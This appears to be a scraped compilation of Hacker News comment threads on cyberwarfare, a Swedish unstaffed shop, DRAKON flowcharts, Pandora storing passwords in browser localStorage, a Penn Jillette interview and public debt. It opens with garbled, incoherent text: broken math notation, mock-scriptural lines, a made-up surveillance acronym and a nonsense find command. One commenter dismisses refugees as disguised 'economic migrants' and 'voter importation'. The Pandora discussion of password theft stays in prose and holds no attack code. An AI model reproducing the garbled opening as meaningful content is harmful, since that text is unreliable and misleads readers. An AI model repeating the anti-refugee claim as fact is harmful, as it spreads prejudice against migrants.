\int_{0\to\infty} e^(n)x* ... _e(2)x_ e^x * e^(n)(-x/2)* ... _e(2)x_ e^x * _... e(3)x_ e(2)x _e^x_ dx

rose \def:= A rose is a ...(A rose is a ...()...)

lambda umbric brill: till finally, boundary recapitulating invagination named Utah:

In the beginning was the word, and the word was with (' ()), and the word was ((' ())):

"Sure is, She rises, She is, Surveillance"

Privacy Information Exaustive Total Awareness (PIETA)

* find /root/mtAthos/russianNavy/1922/prism/nsa -name ' _name_worship_ '

* bediger4000 1 hour ago | link

> The "cyberwarfare" will be the new war on terror, 5-10 years from now. Yes, > just like the war on terror is the new war on communism. By 1990, all the > defence contractors figured out that without a boogey man to scare people > with, the US government has a lot of things it would rather spend money on > than billable hours.</comment>


In Sweden's First unstaffed food shop, all you need is a phone - <AUTHOR> http://phys.org/news/2016-02-sweden-1st-unmanned-food.html <comment><USER2> But they need low wage low skill jobs for all those economic migrants, sorry, refugees. All-automated shops are great for a highly educated, gainfully employed populace, but to keep those hands busy...

<comment><AUTHOR> Well, that is the general challenge of the 21 century.

<comment><USER2> This just debunks the claim that the current influx of welfare claimants into Europe, especially Sweden, is in toto a net plus for the economy while it is in fact thinly disguised voter importation.</comment></comment></comment>


The Human Revolution in Understanding Programs [pdf] - <AUTHOR> http://drakon-editor.sourceforge.net/DRAKON.pdf <comment><USER2> I agree that human understanding of software is one of the primary bottlenecks and difficulties of writing and maintaining software, but it's always a little suspect when someone claims to improve something about programming and then talks about hypothetical toy algorithms like making lunch.

<comment><USER3> The rules proposed for creating easily legible diagrams determine mathematical limits for the proposed visual language. (Prime example: no crossing of arrows.)

<comment><USER2> That's fine, but I think what I would find more convincing is an example of actual complicated program mocked up in this manner. I'm all for using toy examples to sketch out the basics, but if you're proposing a system to make software systems easier to understand, you should probably demonstrate it actually makes at least one software system easier to understand.

I tried to do this with a JS library: [http://glench.github.io/fuzzyset.js/ui/](http://glench.github.io/fuzzyset.js/ui/)

It looks like since this paper the author(s?) have developed it further and built some real stuff. Here's a screenshot on their website: [http://drakon- editor.sourceforge.net/folder-parrot.png](http://drakon- editor.sourceforge.net/folder-parrot.png)

Is this an easier representation to read and understand? I'm not so sure.

<comment><USER4> That folder-parrot example doesn't seem to illustrate the DRAKON methodology very well. The flow breaks when you have to read the code within each step.

</comment></comment></comment></comment><comment><USER5> Couple more links:

[https://en.m.wikipedia.org/wiki/DRAKON](https://en.m.wikipedia.org/wiki/DRAKON)

[https://drakonhub.com](https://drakonhub.com)

</comment><comment><USER6> Nice set of rules for laying out flowcharts. That said there's a reason flowcharts are passé as a form of documentation.</comment>


Pandorhack: Stealing Pandora Passwords  - <AUTHOR> http://pandorhack.zorinaq.com/

<comment><USER2> To be fair, this is really a tiny issue compared to them storing plaintext passwords server side as they were initially accused of doing. If you have access to a browser's local storage, you can also probably install a browser extension that key logs any password inputs. Or you can view all the browser's saved passwords. etc.

<comment><USER3> I disagree. Putting aside saved passwords which I admit is a big aside. The browser's usual attack vector is login or session cookies. It will grant users access to the account but it doesn't usually leak any information in itself. However this leaks the, email, username, password, and a myriad of other data. This is compounded by the risk of leaking data in the event of a javascript injection. Usually this would allow the js to steal login cookies or do actions on the site (hopefully anything 'secure' requires an additional password input), but now they can whisk the usernames and passwords off site and elevates the breach to be almost as bad as a database leak.

<comment><USER4> Again: If there is JavaScript injection, they can capture the password at the time you enter it anyway. Once you have JavaScript injection, almost any site will cough up all that data without issue. Heck, they can do a full-on man in the middle attack if they so desire.

It doesn't appear that merely cloning a login session cookie would get you access to the password, as it does not appear that the server even knows what it is. In fact, this approach they've used seems like it would allow for password challenges whenever Pandora wanted to, which makes session stealing far less effective.

</comment></comment></comment><comment><USER5> Every week a story like this comes out. And a lot with really large companies that have huge amounts of funding and are certainly capable of hiring people who know what they are doing.

As fun as they are to read about, I don't care so much about the actual attacks. How to do it wrong is well known.

I am interested in what causes this problem in general. What is causing so many companies to have such abysmal security practices even though we know how to do it better? Can it be fixed?

If the industry does not police this, the government will have to regulate us to ensure compliance with more reasonable practices. That means auditing of our code by independent agencies, paying the fees to do so, suffering the inevitable cases where code is stolen by corrupt auditors, and the foot in the legal door for future and expanding governmental code regulation and auditing at all levels, not just web facing. It would be much better if we could solve this problem ourselves as a responsible industry and avoid the necessity for invasive regulation.

</comment><comment><USER6> It shocks me that people keep downplaying the issue here. Storing a password in a visitors browser especially in a place where it can be exploited is lazy not only from a security perspective but if a users original password can be exposed as well as their email address a lot of people use the same password for everything (not everyone is a security conscious developer) especially email. This is just lazy programming and security at its finest, so glad I don't use Pandora.

</comment><comment><USER7> Oh noes! you mean my hacker mom will be able to log onto my pandora account and listen to my Yes/Supertramp mix station!!??

Ok, admittedly, bad form on pandora's part but seems pretty low impact to me.

<comment><USER8> I strongly disagree. People use the same password on multiple sites all the time. If someone shares a password between Pandora and Gmail or PayPal, for example, you now have access to their email or their money.

<comment><USER4> Honestly, if you share your PayPal password with other sites, you are already asking for it pretty badly. I'd say the same thing about your Google password, but if you use two-factor authentication is isn't quite so bad (and in that case Pandora isn't a concern).

The reality is though, what Pandora is doing prevents the password from going over the 'net at all, which arguably protects it from being stolen _better_. For someone to get access to it, they'd need access to your machine, at which point... just how secure do you think your PayPal and Google accounts (assuming no two-factor auth) will be?

The main increased risk factor if you shared your PayPal and Pandora passwords would be that if someone had read-only access to your filesystem, they could still get your PayPal password (which wouldn't otherwise be the case). This would be a potentially big exposure if you have unencrypted backups (though why backup HTML5 storage or browser data in plaintext to an untrusted target if you want security?) or for whatever reason you let other people read your browser profile directory.

Still doesn't feel like a big deal.

</comment></comment></comment><comment><USER9> Interesting though. We all knew HTML5 local storage bugs would happen, but this is the first one I've seen in the wild.

<comment><USER10> how is this a bug in localStorage? Isn't he just reading the values from the browser when viewing pandora.com ?

<comment><USER4> I don't think he meant bugs _in_ localStorage, but rather bugs in code that uses localStorage.

<comment><USER9> Yes, I meant bugs arising from poor use of localStorage.</comment></comment></comment></comment>


Penn Jillette on Bob Dylan (YouTube at 36:25) Aug 2, 2016 - <AUTHOR> https://www.youtube.com/watch?v=D3JX4m4nJKw <comment><AUTHOR> This is a long interview of Penn Jillette by Nick Gillespie, the editor in chief of Reason TV. It's actual YouTube title is "Penn Jillette on Donald Trump, Hillary Clinton, And Why He's All in on Gary Johnson" so it's an interview largely about the presidential race.

Skip ahead to 36 minutes and 25 seconds into the interview to hear what Penn Jillette has to say about Bob Dylan. It's amazingly prophetic given that the interview was on Aug 2.

<comment><USER2> [http://i.imgur.com/YsbKHg1.gif](http://i.imgur.com/YsbKHg1.gif)

Joke aside, very nice interview, even I'm not an US citizen. Considering that all political discussions (on TV) in my country are about throwing as much shit as possible to the other side, this Penn interview feels pretty much like poetry :)

<comment><AUTHOR> It doesn't matter if I agree or disagree with a position taken by Penn, I always enjoy the way he explains his thoughts. He's a very interesting person.</comment></comment></comment>


How Much To Tax The American People To Pay Off Public Debt? - <AUTHOR> http://blog.turbotax.intuit.com/tax-tips/how-much-we-need-to-tax-the-american-people-to-pay-off-the-public-debt/06292011-6644

<comment><USER2> FWIW, Japan's at 225% of GDP (source Wikipedia) and they seem to be still functioning. Although their financial systems haven't really recovered since the bubble burst 2 decades or so ago.

<comment><USER3> Basically anything under 100% is feasible to finance without too much cost to the public. And once you get to the point where you want to go on an austerity budget the point is to lower the deficit in most cases, not pay down the debt (which would slow the economy, which you need to increase so that your debt slowly becomes a lower percentage of GDP).

</comment></comment><comment><USER4> The Australian GST has been very successful in pouring money into government coffers, and over the years much of that revenue went into paying down government debt.</comment>